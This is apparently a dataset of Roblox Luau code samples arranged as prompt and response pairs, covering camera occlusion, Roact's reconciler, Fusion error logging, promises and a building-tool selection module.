		local v60, v61, v62 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v55, v58 - v55), { p20.char }, false, false);
		local v63 = v58;
		if v60 then
			local v64 = v61 + 0.1 * v62.unit;
			local v65 = v64 - v55;
			local l__magnitude__66 = v65.magnitude;
			local l__unit__67 = v65:Cross(v59).unit:Cross(v62).unit;
			if v65.unit:Dot(-l__unit__67) < v65.unit:Dot((v64 - p20.camera.CFrame.p).unit) then
				v63 = u5(v64, l__unit__67, v58, v59);
				if v63.Magnitude > 0 then
					local v68, v69, v70 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v64, v63 - v64), { p20.char }, false, false);
					if v68 then
						v63 = v69 + 0.1 * v70.unit;
					end;
				else
					v63 = v64;
				end;
			else
				v63 = v64;
			end;
			local v71, v72, v73 = game.Workspace:FindPartOnRayWithIgnoreList(Ray.new(v55, v63 - v55), { p20.char }, false, false);
			if v71 then
				v63 = v72 - 0.1 * (v63 - v55).unit;
			end;
		end;
		p21[#p21 + 1] = v63;
	end;
end;
function v5.CheckTorsoReference(p22)
	if p22.char then
		p22.torsoPart = p22.char:FindFirstChild("Torso");
		if not p22.torsoPart then
			p22.torsoPart = p22.char:FindFirstChild("UpperTorso");
			if not p22.torsoPart then
				p22.torsoPart = p22.char:FindFirstChild("HumanoidRootPart");
			end;
		end;
		p22.headPart = p22.char:FindFirstChild("Head");
	end;
end;
local u6 = {
	Head = true,
	["Left Arm"] = true,
	["Right Arm"] = true,
	["Left Leg"] = true,
	["Right Leg"] = true,
	LeftLowerArm = true,
	RightLowerArm = true,
	LeftUpperLeg = true,
	RightUpperLeg = true
};
function v5.CharacterAdded(p23, p24, p25)
	if p25 ~= l__Players__2.LocalPlayer then
		return;
	end;
	if p23.childAddedConn then
		p23.childAddedConn:Disconnect();
		p23.childAddedConn = nil;
	end;
	if p23.childRemovedConn then
		p23.childRemovedConn:Disconnect();
		p23.childRemovedConn = nil;
	end;
	p23.char = p24;
	p23.trackedLimbs = {};
	p23.childAddedConn = p24.ChildAdded:Connect(function(p26)
		if p26:IsA("BasePart") then
			if u6[p26.Name] then
				p23.trackedLimbs[p26] = true;
			end;
			if p26.Name == "Torso" or p26.Name == "UpperTorso" then
				p23.torsoPart = p26;
			end;
			if p26.Name == "Head" then
				p23.headPart = p26;
			end;
		end;
	end);
	p23.childRemovedConn = p24.ChildRemoved:Connect(function(p27)
		p23.trackedLimbs[p27] = nil;
		p23:CheckTorsoReference();
	end);
	for v74, v75 in pairs(p23.char:GetChildren()) do
		if v75:IsA("BasePart") then
			if u6[v75.Name] then
				p23.trackedLimbs[v75] = true;
			end;
			if v75.Name == "Torso" or v75.Name == "UpperTorso" then
				p23.torsoPart = v75;
			end;
			if v75.Name == "Head" then
				p23.headPart = v75;
			end;
		end;
	end;
end;
local function u7(p28, ...)
	local v76 = {};
	local v77 = "";
	for v78, v79 in pairs({ ... }) do
		v76[v79] = true;
		if v77 == "" then
			local v80 = "";
		else
			v80 = " or ";
		end;
		v77 = v77 .. v80 .. v79;
	end;
	local v81 = type(p28);
	assert(v76[v81], v77 .. " type expected, got: " .. v81);
end;
function v5.SetMode(p29, p30)
	u7(p30, "number");
	for v82, v83 in pairs(u2) do
		if v83 == p30 then
			p29.mode = p30;
			p29.behaviorFunction = p29.behaviors[p29.mode];
			return;
		end;
	end;
	error("Invalid mode number");
end;
function v5.GetObscuredParts(p31)
	return p31.savedHits;
end;
function v5.Cleanup(p32)
	for v84, v85 in pairs(p32.savedHits) do
		v84.LocalTransparencyModifier = v85;
	end;
end;
function v5.Update(p33, p34, p35, p36)
	local v86 = nil;
	if not p33.enabled or not p33.char then
		return p35, p36;
	end;
	p33.camera = game.Workspace.CurrentCamera;
	if not p33.humanoidRootPart then
		local v87 = p33.char:FindFirstChildOfClass("Humanoid");
		if v87 and v87.RootPart then
			p33.humanoidRootPart = v87.RootPart;
		else
			p33.humanoidRootPart = p33.char:FindFirstChild("HumanoidRootPart");
			if not p33.humanoidRootPart then
				return p35, p36;
			end;
		end;
		local u8 = nil;
		u8 = p33.humanoidRootPart.AncestryChanged:Connect(function(p37, p38)
			if p37 == p33.humanoidRootPart and not p38 then
				p33.humanoidRootPart = nil;
				if u8 and u8.Connected then
					u8:Disconnect();
					u8 = nil;
				end;
			end;
		end);
	end;
	if not p33.torsoPart then
		p33:CheckTorsoReference();
		if not p33.torsoPart then
			return p35, p36;
		end;
	end;
	local v88 = {};
	p33:behaviorFunction(v88);
	local v89 = { p33.char };
	local u9 = {};
	local v90 = 0;
	local v91 = {};
	local v92 = {};
	local v93 = 0.75;
	local v94 = 0.75;
	local v95 = p33.camera:GetPartsObscuringTarget({ p33.headPart and p33.headPart.CFrame.p or v88[1], p33.torsoPart and p33.torsoPart.CFrame.p or v88[2] }, v89);
	for v96 = 1, #v95 do
		local v97 = v95[v96];
		v86 = v90 + 1;
		v91[v97] = true;
		for v98, v99 in pairs(v97:GetChildren()) do
			if v99:IsA("Decal") then
				v86 = v86 + 1;
				break;
			end;
			if v99:IsA("Texture") then
				v86 = v86 + 1;
				break;
			end;
		end;
	end;
	if v86 > 0 then
		v93 = math.pow(0.375 + 0.375 / v86, 1 / v86);
		v94 = math.pow(0.25 + 0.25 / v86, 1 / v86);
	end;
	local v100 = p33.camera:GetPartsObscuringTarget(v88, v89);
	local v101 = {};
	for v102 = 1, #v100 do
		local v103 = v100[v102];
		v101[v103] = v91[v103] and v93 or v94;
		if v103.Transparency < v101[v103] then
			u9[v103] = true;
			if not p33.savedHits[v103] then
				p33.savedHits[v103] = v103.LocalTransparencyModifier;
			end;
		end;
		for v104, v105 in pairs(v103:GetChildren()) do
			if (v105:IsA("Decal") or v105:IsA("Texture")) and v105.Transparency < v101[v103] then
				v101[v105] = v101[v103];
				u9[v105] = true;
				if not p33.savedHits[v105] then
					p33.savedHits[v105] = v105.LocalTransparencyModifier;
				end;
			end;
		end;
	end;
	for v106, v107 in pairs(p33.savedHits) do
		if u9[v106] then
			v106.LocalTransparencyModifier = v106.Transparency < 1 and (v101[v106] - v106.Transparency) / (1 - v106.Transparency) or 0;
		else
			v106.LocalTransparencyModifier = v107;
			p33.savedHits[v106] = nil;
		end;
	end;
	return p35, p36;
end;
return v5;


Prompt:
--[[
	Utility function to log a Fusion-specific error, without halting execution.
]]

Response:
local Package = script.Parent.Parent
local Types = require(Package.Types)
local messages = require(Package.Logging.messages)

local function logErrorNonFatal(messageID: string, errObj: Types.Error?, ...)
	local formatString: string

	if messages[messageID] ~= nil then
		formatString = messages[messageID]
	else
		messageID = "unknownMessage"
		formatString = messages[messageID]
	end

	local errorString
	if errObj == nil then
		errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")", ...)
	else
		formatString = formatString:gsub("ERROR_MESSAGE", errObj.message)
		errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")\n---- Stack trace ----\n" .. errObj.trace, ...)
	end

	task.spawn(function(...)
		error(errorString:gsub("\n", "\n    "), 0)
	end, ...)
end

return logErrorNonFatal


Prompt: -- Create superfolder for all part folders

Response:
local MainPartFolder = workspace:FindFirstChild(Constants.ARCS_MAIN_FOLDER)
if not MainPartFolder then
	MainPartFolder = Instance.new("Folder")
	MainPartFolder.Name = Constants.ARCS_MAIN_FOLDER
	MainPartFolder.Parent = workspace
end


Prompt: --CONFIG

Response: local Peak = 0 			-- Set this to your desired starting RPM or leave it set to 0 to choose the default peakRPM


Prompt:
--[[
	This is a test file to demonstrate how ragdolls work. If you don't use
	this file, you need to manually apply the Ragdoll tag to humanoids that
	you want to ragdoll
--]]

Response:
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local StarterPack = game:GetService("StarterPack")
local StarterPlayer = game:GetService("StarterPlayer")

script.ClassicSword.Parent = StarterPack
script.RocketLauncher.Parent = StarterPack
script.KillScript.Parent = StarterPlayer.StarterCharacterScripts
script.RagdollMe.Parent = StarterPlayer.StarterCharacterScripts


Prompt: --- Creates a listable type from a singlular type

Response:
function Util.MakeListableType(type)
	local listableType = {
		Listable = true,
		Transform = type.Transform,
		Validate = type.Validate,
		Autocomplete = type.Autocomplete,
		Parse = function(...)
			return {type.Parse(...)}
		end
	}

	return listableType
end

local function encodeCommandEscape(text)
	return first(text:gsub("\\%$", string.char(20)))
end

local function decodeCommandEscape(text)
	return first(text:gsub(string.char(20), "$"))
end


Prompt:
--Made by Superluck, Uploaded by FederalSignal_QCB.
--Made by Superluck, Uploaded by FederalSignal_QCB.
--Made by Superluck, Uploaded by FederalSignal_QCB.

Response:
wait(1)
while true do
script.Parent.Parent.Parent.Scripts.SoundBlock.Value.Sound2.PlaybackSpeed = script.Parent.PlaybackSpeed
script.Parent.Parent.Parent.Scripts.SoundBlock.Value.Sound2.Volume = (script.Parent.Volume*2)*11
script.Parent.Parent.Parent.Scripts.SoundBlock.Value.Sound2.EmitterSize = script.Parent.EmitterSize*10
script.Parent.Parent.Parent.Scripts.SoundBlock.Value.Sound2.SoundId = script.Parent.SoundId
script.Parent.Parent.Parent.Scripts.SoundBlock.Value.Sound2.Playing = script.Parent.Playing
script.Parent.Parent.Parent.Scripts.SoundBlock.Value.Sound2.DistortionSoundEffect.Level = (script.Parent.Volume*1.3)*3
wait()
end


Prompt: -- собираем все наши размещения

Response: local tmp = script.Parent.WorldPosition:GetChildren()


Prompt:
-----------------------
--| Local Functions |--
-----------------------

Response:
local function LimbBehavior(castPoints)
	for _, limb in pairs(TrackedLimbs) do
		if limb.Parent then
			table.insert(castPoints, limb.Position)
		end
	end
end

local function MoveBehavior(castPoints)
	for i = 1, MOVE_CASTS do
		local position, velocity = Torso.Position, Torso.Velocity
		local horizontalSpeed = Vector3.new(velocity.X, 0, velocity.Z).Magnitude / 2
		local offsetVector = (i - 1) * Torso.CFrame.lookVector * horizontalSpeed
		table.insert(castPoints, position + offsetVector)
	end
end

local function CornerBehavior(castPoints)
	local cframe = Torso.CFrame
	local centerPoint = cframe.p
	local rotation = cframe - centerPoint
	local halfSize = Character:GetExtentsSize() / 2 --NOTE: Doesn't update w/ limb animations
	table.insert(castPoints, centerPoint)
	for _, factor in pairs(CORNER_FACTORS) do
		table.insert(castPoints, centerPoint + (rotation * (halfSize * factor)))
	end
end

local function CircleBehavior(castPoints)
	local cframe = nil
	if Mode == MODE.CIRCLE1 then
		cframe = Torso.CFrame
	else
		local camCFrame = Camera.CoordinateFrame
		cframe = camCFrame - camCFrame.p + Torso.Position
	end
	table.insert(castPoints, cframe.p)
	for i = 0, CIRCLE_CASTS - 1 do
		local angle = (2 * math.pi / CIRCLE_CASTS) * i
		local offset = 3 * Vector3.new(math.cos(angle), math.sin(angle), 0)
		table.insert(castPoints, cframe * offset)
	end
end

local function LimbMoveBehavior(castPoints)
	LimbBehavior(castPoints)
	MoveBehavior(castPoints)
end

local function OnCharacterAdded(character)
	Character = character
	Torso = Character:WaitForChild('Torso')

	TrackedLimbs = {}
	for _, child in pairs(Character:GetChildren()) do
		if child:IsA('BasePart') and LIMB_TRACKING_SET[child.Name] then
			table.insert(TrackedLimbs, child)
		end
	end
end

local function OnWorkspaceChanged(property)
	if property == 'CurrentCamera' then
		local newCamera = workspace.CurrentCamera
		if newCamera then
			Camera = newCamera
		end
	end
end


Prompt: -- An object which can listen for updates on another state object.

Response:
export type Observer = PubTypes.Observer & {
	_changeListeners: Set<() -> ()>,
	_numChangeListeners: number
}

return nil


Prompt:
--[[
	The reconciler is the mechanism in Roact that constructs the virtual tree
	that later gets turned into concrete objects by the renderer.

	Roact's reconciler is constructed with the renderer as an argument, which
	enables switching to different renderers for different platforms or
	scenarios.

	When testing the reconciler itself, it's common to use `NoopRenderer` with
	spies replacing some methods. The default (and only) reconciler interface
	exposed by Roact right now uses `RobloxRenderer`.
]]

Response:
local function createReconciler(renderer)
	local reconciler
	local mountVirtualNode
	local updateVirtualNode
	local unmountVirtualNode

	--[[
		Unmount the given virtualNode, replacing it with a new node described by
		the given element.

		Preserves host properties, depth, and legacyContext from parent.
	]]
	local function replaceVirtualNode(virtualNode, newElement)
		local hostParent = virtualNode.hostParent
		local hostKey = virtualNode.hostKey
		local depth = virtualNode.depth

		-- If the node that is being replaced has modified context, we need to
		-- use the original *unmodified* context for the new node
		-- The `originalContext` field will be nil if the context was unchanged
		local context = virtualNode.originalContext or virtualNode.context
		local parentLegacyContext = virtualNode.parentLegacyContext

		unmountVirtualNode(virtualNode)
		local newNode = mountVirtualNode(newElement, hostParent, hostKey, context, parentLegacyContext)

		-- mountVirtualNode can return nil if the element is a boolean
		if newNode ~= nil then
			newNode.depth = depth
		end

		return newNode
	end

	--[[
		Utility to update the children of a virtual node based on zero or more
		updated children given as elements.
	]]
	local function updateChildren(virtualNode, hostParent, newChildElements)
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end

		local removeKeys = {}

		-- Changed or removed children
		for childKey, childNode in pairs(virtualNode.children) do
			local newElement = ElementUtils.getElementByKey(newChildElements, childKey)
			local newNode = updateVirtualNode(childNode, newElement)

			if newNode ~= nil then
				virtualNode.children[childKey] = newNode
			else
				removeKeys[childKey] = true
			end
		end

		for childKey in pairs(removeKeys) do
			virtualNode.children[childKey] = nil
		end

		-- Added children
		for childKey, newElement in ElementUtils.iterateElements(newChildElements) do
			local concreteKey = childKey
			if childKey == ElementUtils.UseParentKey then
				concreteKey = virtualNode.hostKey
			end

			if virtualNode.children[childKey] == nil then
				local childNode = mountVirtualNode(
					newElement,
					hostParent,
					concreteKey,
					virtualNode.context,
					virtualNode.legacyContext
				)

				-- mountVirtualNode can return nil if the element is a boolean
				if childNode ~= nil then
					childNode.depth = virtualNode.depth + 1
					virtualNode.children[childKey] = childNode
				end
			end
		end
	end

	local function updateVirtualNodeWithChildren(virtualNode, hostParent, newChildElements)
		updateChildren(virtualNode, hostParent, newChildElements)
	end

	local function updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)
		if Type.of(renderResult) == Type.Element
			or renderResult == nil
			or typeof(renderResult) == "boolean"
		then
			updateChildren(virtualNode, hostParent, renderResult)
		else
			error(("%s\n%s"):format(
				"Component returned invalid children:",
				virtualNode.currentElement.source or "<enable element tracebacks>"
			), 0)
		end
	end

	--[[
		Unmounts the given virtual node and releases any held resources.
	]]
	function unmountVirtualNode(virtualNode)
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end

		local kind = ElementKind.of(virtualNode.currentElement)

		if kind == ElementKind.Host then
			renderer.unmountHostNode(reconciler, virtualNode)
		elseif kind == ElementKind.Function then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		elseif kind == ElementKind.Stateful then
			virtualNode.instance:__unmount()
		elseif kind == ElementKind.Portal then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		elseif kind == ElementKind.Fragment then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		else
			error(("Unknown ElementKind %q"):format(tostring(kind), 2))
		end
	end

	local function updateFunctionVirtualNode(virtualNode, newElement)
		local children = newElement.component(newElement.props)

		updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)

		return virtualNode
	end

	local function updatePortalVirtualNode(virtualNode, newElement)
		local oldElement = virtualNode.currentElement
		local oldTargetHostParent = oldElement.props.target

		local targetHostParent = newElement.props.target

		assert(renderer.isHostObject(targetHostParent), "Expected target to be host object")

		if targetHostParent ~= oldTargetHostParent then
			return replaceVirtualNode(virtualNode, newElement)
		end

		local children = newElement.props[Children]

		updateVirtualNodeWithChildren(virtualNode, targetHostParent, children)

		return virtualNode
	end

	local function updateFragmentVirtualNode(virtualNode, newElement)
		updateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, newElement.elements)

		return virtualNode
	end

	--[[
		Update the given virtual node using a new element describing what it
		should transform into.

		`updateVirtualNode` will return a new virtual node that should replace
		the passed in virtual node. This is because a virtual node can be
		updated with an element referencing a different component!

		In that case, `updateVirtualNode` will unmount the input virtual node,
		mount a new virtual node, and return it in this case, while also issuing
		a warning to the user.
	]]
	function updateVirtualNode(virtualNode, newElement, newState)
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end
		if config.typeChecks then
			assert(
				Type.of(newElement) == Type.Element or typeof(newElement) == "boolean" or newElement == nil,
				"Expected arg #2 to be of type Element, boolean, or nil"
			)
		end

		-- If nothing changed, we can skip this update
		if virtualNode.currentElement == newElement and newState == nil then
			return virtualNode
		end

		if typeof(newElement) == "boolean" or newElement == nil then
			unmountVirtualNode(virtualNode)
			return nil
		end

		if virtualNode.currentElement.component ~= newElement.component then
			return replaceVirtualNode(virtualNode, newElement)
		end

		local kind = ElementKind.of(newElement)

		local shouldContinueUpdate = true

		if kind == ElementKind.Host then
			virtualNode = renderer.updateHostNode(reconciler, virtualNode, newElement)
		elseif kind == ElementKind.Function then
			virtualNode = updateFunctionVirtualNode(virtualNode, newElement)
		elseif kind == ElementKind.Stateful then
			shouldContinueUpdate = virtualNode.instance:__update(newElement, newState)
		elseif kind == ElementKind.Portal then
			virtualNode = updatePortalVirtualNode(virtualNode, newElement)
		elseif kind == ElementKind.Fragment then
			virtualNode = updateFragmentVirtualNode(virtualNode, newElement)
		else
			error(("Unknown ElementKind %q"):format(tostring(kind), 2))
		end

		-- Stateful components can abort updates via shouldUpdate. If that
		-- happens, we should stop doing stuff at this point.
		if not shouldContinueUpdate then
			return virtualNode
		end

		virtualNode.currentElement = newElement

		return virtualNode
	end

	--[[
		Constructs a new virtual node but not does mount it.
	]]
	local function createVirtualNode(element, hostParent, hostKey, context, legacyContext)
		if config.internalTypeChecks then
			internalAssert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
			internalAssert(typeof(context) == "table" or context == nil, "Expected arg #4 to be of type table or nil")
			internalAssert(
				typeof(legacyContext) == "table" or legacyContext == nil,
				"Expected arg #5 to be of type table or nil"
			)
		end
		if config.typeChecks then
			assert(hostKey ~= nil, "Expected arg #3 to be non-nil")
			assert(
				Type.of(element) == Type.Element or typeof(element) == "boolean",
				"Expected arg #1 to be of type Element or boolean"
			)
		end

		return {
			[Type] = Type.VirtualNode,
			currentElement = element,
			depth = 1,
			children = {},
			hostParent = hostParent,
			hostKey = hostKey,

			-- Legacy Context API
			-- A table of context values inherited from the parent node
			legacyContext = legacyContext,

			-- A saved copy of the parent context, used when replacing a node
			parentLegacyContext = legacyContext,

			-- Context API
			-- A table of context values inherited from the parent node
			context = context or {},

			-- A saved copy of the unmodified context; this will be updated when
			-- a component adds new context and used when a node is replaced
			originalContext = nil,
		}
	end

	local function mountFunctionVirtualNode(virtualNode)
		local element = virtualNode.currentElement

		local children = element.component(element.props)

		updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)
	end

	local function mountPortalVirtualNode(virtualNode)
		local element = virtualNode.currentElement

		local targetHostParent = element.props.target
		local children = element.props[Children]

		assert(renderer.isHostObject(targetHostParent), "Expected target to be host object")

		updateVirtualNodeWithChildren(virtualNode, targetHostParent, children)
	end

	local function mountFragmentVirtualNode(virtualNode)
		local element = virtualNode.currentElement
		local children = element.elements

		updateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, children)
	end

	--[[
		Constructs a new virtual node and mounts it, but does not place it into
		the tree.
	]]
	function mountVirtualNode(element, hostParent, hostKey, context, legacyContext)
		if config.internalTypeChecks then
			internalAssert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
			internalAssert(
				typeof(legacyContext) == "table" or legacyContext == nil,
				"Expected arg #5 to be of type table or nil"
			)
		end
		if config.typeChecks then
			assert(hostKey ~= nil, "Expected arg #3 to be non-nil")
			assert(
				Type.of(element) == Type.Element or typeof(element) == "boolean",
				"Expected arg #1 to be of type Element or boolean"
			)
		end

		-- Boolean values render as nil to enable terse conditional rendering.
		if typeof(element) == "boolean" then
			return nil
		end

		local kind = ElementKind.of(element)

		local virtualNode = createVirtualNode(element, hostParent, hostKey, context, legacyContext)

		if kind == ElementKind.Host then
			renderer.mountHostNode(reconciler, virtualNode)
		elseif kind == ElementKind.Function then
			mountFunctionVirtualNode(virtualNode)
		elseif kind == ElementKind.Stateful then
			element.component:__mount(reconciler, virtualNode)
		elseif kind == ElementKind.Portal then
			mountPortalVirtualNode(virtualNode)
		elseif kind == ElementKind.Fragment then
			mountFragmentVirtualNode(virtualNode)
		else
			error(("Unknown ElementKind %q"):format(tostring(kind), 2))
		end

		return virtualNode
	end

	--[[
		Constructs a new Roact virtual tree, constructs a root node for
		it, and mounts it.
	]]
	local function mountVirtualTree(element, hostParent, hostKey)
		if config.typeChecks then
			assert(Type.of(element) == Type.Element, "Expected arg #1 to be of type Element")
			assert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
		end

		if hostKey == nil then
			hostKey = "RoactTree"
		end

		local tree = {
			[Type] = Type.VirtualTree,
			[InternalData] = {
				-- The root node of the tree, which starts into the hierarchy of
				-- Roact component instances.
				rootNode = nil,
				mounted = true,
			},
		}

		tree[InternalData].rootNode = mountVirtualNode(element, hostParent, hostKey)

		return tree
	end

	--[[
		Unmounts the virtual tree, freeing all of its resources.

		No further operations should be done on the tree after it's been
		unmounted, as indicated by its the `mounted` field.
	]]
	local function unmountVirtualTree(tree)
		local internalData = tree[InternalData]
		if config.typeChecks then
			assert(Type.of(tree) == Type.VirtualTree, "Expected arg #1 to be a Roact handle")
			assert(internalData.mounted, "Cannot unmounted a Roact tree that has already been unmounted")
		end

		internalData.mounted = false

		if internalData.rootNode ~= nil then
			unmountVirtualNode(internalData.rootNode)
		end
	end

	--[[
		Utility method for updating the root node of a virtual tree given a new
		element.
	]]
	local function updateVirtualTree(tree, newElement)
		local internalData = tree[InternalData]
		if config.typeChecks then
			assert(Type.of(tree) == Type.VirtualTree, "Expected arg #1 to be a Roact handle")
			assert(Type.of(newElement) == Type.Element, "Expected arg #2 to be a Roact Element")
		end

		internalData.rootNode = updateVirtualNode(internalData.rootNode, newElement)

		return tree
	end

	reconciler = {
		mountVirtualTree = mountVirtualTree,
		unmountVirtualTree = unmountVirtualTree,
		updateVirtualTree = updateVirtualTree,

		createVirtualNode = createVirtualNode,
		mountVirtualNode = mountVirtualNode,
		unmountVirtualNode = unmountVirtualNode,
		updateVirtualNode = updateVirtualNode,
		updateVirtualNodeWithChildren = updateVirtualNodeWithChildren,
		updateVirtualNodeWithRenderResult = updateVirtualNodeWithRenderResult,
	}

	return reconciler
end

return createReconciler


Prompt:
--[[
	Creates a new promise that receives the result of this promise.

	The given callbacks are invoked depending on that result.
]]

Response:
function Promise.prototype:andThen(successHandler, failureHandler)
	self._unhandledRejection = false

	-- Create a new promise to follow this part of the chain
	return Promise.new(function(resolve, reject)
		-- Our default callbacks just pass values onto the next promise.
		-- This lets success and failure cascade correctly!

		local successCallback = resolve
		if successHandler then
			successCallback = createAdvancer(successHandler, resolve, reject)
		end

		local failureCallback = reject
		if failureHandler then
			failureCallback = createAdvancer(failureHandler, resolve, reject)
		end

		if self._status == Promise.Status.Started then
			-- If we haven't resolved yet, put ourselves into the queue
			table.insert(self._queuedResolve, successCallback)
			table.insert(self._queuedReject, failureCallback)
		elseif self._status == Promise.Status.Resolved then
			-- This promise has already resolved! Trigger success immediately.
			successCallback(unpack(self._values, 1, self._valuesLength))
		elseif self._status == Promise.Status.Rejected then
			-- This promise died a terrible death! Trigger failure immediately.
			failureCallback(unpack(self._values, 1, self._valuesLength))
		elseif self._status == Promise.Status.Cancelled then
			-- We don't want to call the success handler or the failure handler,
			-- we just reject this promise outright.
			reject("Promise is cancelled")
		end
	end, self)
end


Prompt: -- Events to listen to selection changes

Response:
Selection.ItemsAdded = Signal.new()
Selection.ItemsRemoved = Signal.new()
Selection.PartsAdded = Signal.new()
Selection.PartsRemoved = Signal.new()
Selection.FocusChanged = Signal.new()
Selection.Cleared = Signal.new()
Selection.Changed = Signal.new()

function Selection.IsSelected(Item)
	-- Returns whether `Item` is selected or not

	-- Check and return item presence in index
	return Selection.ItemIndex[Item];

end;

local function CollectParts(Item, Table)
	-- Adds parts found in `Item` to `Table`

	-- Collect parts
	if Item:IsA 'BasePart' then
		Table[#Table + 1] = Item

	-- Collect parts inside of groups
	else
		local Items = Item:GetDescendants()
		for _, Item in ipairs(Items) do
			if Item:IsA 'BasePart' then
				Table[#Table + 1] = Item
			end
		end
	end
end

function Selection.Add(Items, RegisterHistory)
	-- Adds the given items to the selection

	-- Get core API
	local Core = GetCore();

	-- Go through and validate each given item
	local SelectableItems = {};
	for _, Item in pairs(Items) do

		-- Make sure each item is valid and not already selected
		if Item.Parent and (not Selection.ItemIndex[Item]) then
			table.insert(SelectableItems, Item);
		end;

	end;

	local OldSelection = Selection.Items;

	-- Track parts in new selection
	local Parts = {}

	-- Go through the valid new selection items
	for _, Item in pairs(SelectableItems) do

		-- Add each valid item to the selection
		Selection.ItemIndex[Item] = true;
		CreateSelectionBoxes(Item)

		-- Create maid for cleaning up item listeners
		local ItemMaid = Maid.new()
		Selection.Maid[Item] = ItemMaid

		-- Deselect items that are destroyed
		ItemMaid.RemovalListener = Item.AncestryChanged:Connect(function (Object, Parent)
			if Parent == nil then
				Selection.Remove({ Item })
			end
		end)

		-- Collect parts within item
		CollectParts(Item, Parts)

		-- Listen for new parts in groups
		local IsGroup = not Item:IsA 'BasePart' or nil
		ItemMaid.NewParts = IsGroup and Item.DescendantAdded:Connect(function (Descendant)
			if Descendant:IsA 'BasePart' then
				local NewRefCount = (Selection.PartIndex[Descendant] or 0) + 1
				Selection.PartIndex[Descendant] = NewRefCount
				Selection.Parts = Support.Keys(Selection.PartIndex)
				if NewRefCount == 1 then
					Selection.PartsAdded:Fire { Descendant }
				end
			end
		end)
		ItemMaid.RemovingParts = IsGroup and Item.DescendantRemoving:Connect(function (Descendant)
			if Selection.PartIndex[Descendant] then
				local NewRefCount = (Selection.PartIndex[Descendant] or 0) - 1
				Selection.PartIndex[Descendant] = (NewRefCount > 0) and NewRefCount or nil
				if NewRefCount == 0 then
					Selection.Parts = Support.Keys(Selection.PartIndex)
					Selection.PartsRemoved:Fire { Descendant }
				end
			end
		end)

	end

	-- Update selected item list
	Selection.Items = Support.Keys(Selection.ItemIndex);

	-- Create a history record for this selection change, if requested
	if RegisterHistory and #SelectableItems > 0 then
		TrackSelectionChange(OldSelection);
	end;

	-- Register references to new parts
	local NewParts = {}
	for _, Part in pairs(Parts) do
		local NewRefCount = (Selection.PartIndex[Part] or 0) + 1
		Selection.PartIndex[Part] = NewRefCount
		if NewRefCount == 1 then
			NewParts[#NewParts + 1] = Part
		end
	end

	-- Update parts list
	if #NewParts > 0 then
		Selection.Parts = Support.Keys(Selection.PartIndex)
		Selection.PartsAdded:Fire(NewParts)
	end

	-- Fire relevant events
	if #SelectableItems > 0 then
		Selection.ItemsAdded:Fire(SelectableItems)
		Selection.Changed:Fire()
	end

end;

function Selection.Remove(Items, RegisterHistory)
	-- Removes the given items from the selection

	-- Go through and validate each given item
	local DeselectableItems = {};
	for _, Item in pairs(Items) do

		-- Make sure each item is actually selected
		if Selection.IsSelected(Item) then
			table.insert(DeselectableItems, Item);
		end;

	end;

	local OldSelection = Selection.Items;

	-- Track parts in removing selection
	local Parts = {}

	-- Go through the valid deselectable items
	for _, Item in pairs(DeselectableItems) do

		-- Remove item from selection
		Selection.ItemIndex[Item] = nil;
		RemoveSelectionBoxes(Item)

		-- Stop tracking item's parts
		Selection.Maid[Item] = nil

		-- Get parts associated with item
		CollectParts(Item, Parts)

	end;

	-- Update selected item list
	Selection.Items = Support.Keys(Selection.ItemIndex);

	-- Create a history record for this selection change, if requested
	if RegisterHistory and #DeselectableItems > 0 then
		TrackSelectionChange(OldSelection);
	end;

	-- Clear references to removing parts
	local RemovingParts = {}
	for _, Part in pairs(Parts) do
		local NewRefCount = (Selection.PartIndex[Part] or 0) - 1
		Selection.PartIndex[Part] = (NewRefCount > 0) and NewRefCount or nil
		if NewRefCount == 0 then
			RemovingParts[#RemovingParts + 1] = Part
		end
	end

	-- Update parts list
	if #RemovingParts > 0 then
		Selection.Parts = Support.Keys(Selection.PartIndex)
		Selection.PartsRemoved:Fire(RemovingParts)
	end

	-- Fire relevant events
	if #DeselectableItems > 0 then
		Selection.ItemsRemoved:Fire(DeselectableItems)
		Selection.Changed:Fire()
	end

end;

function Selection.Clear(RegisterHistory)
	-- Clears all items from selection

	-- Remove all selected items
	Selection.Remove(Selection.Items, RegisterHistory);

	-- Fire relevant events
	Selection.Cleared:Fire();

end;

function Selection.Replace(Items, RegisterHistory)
	-- Replaces the current selection with the given new items

	-- Save old selection reference for history
	local OldSelection = Selection.Items;

	-- Find new items
	local NewItems = {}
	for _, Item in ipairs(Items) do
		if not Selection.ItemIndex[Item] then
			table.insert(NewItems, Item)
		end
	end

	-- Find removing items
	local RemovingItems = {}
	local NewItemIndex = Support.FlipTable(Items)
	for _, Item in ipairs(Selection.Items) do
		if not NewItemIndex[Item] then
			table.insert(RemovingItems, Item)
		end
	end

	-- Update selection
	if #RemovingItems > 0 then
		Selection.Remove(RemovingItems, false)
	end
	if #NewItems > 0 then
		Selection.Add(NewItems, false)
	end

	-- Create a history record for this selection change, if requested
	if RegisterHistory then
		TrackSelectionChange(OldSelection);
	end;

end;

local function IsVisible(Item)
	return Item:IsA 'Model' or Item:IsA 'BasePart'
end

local function GetVisibleFocus(Item)
	-- Returns a visible focus representing the item

	-- Return nil if no focus
	if not Item then
		return nil
	end

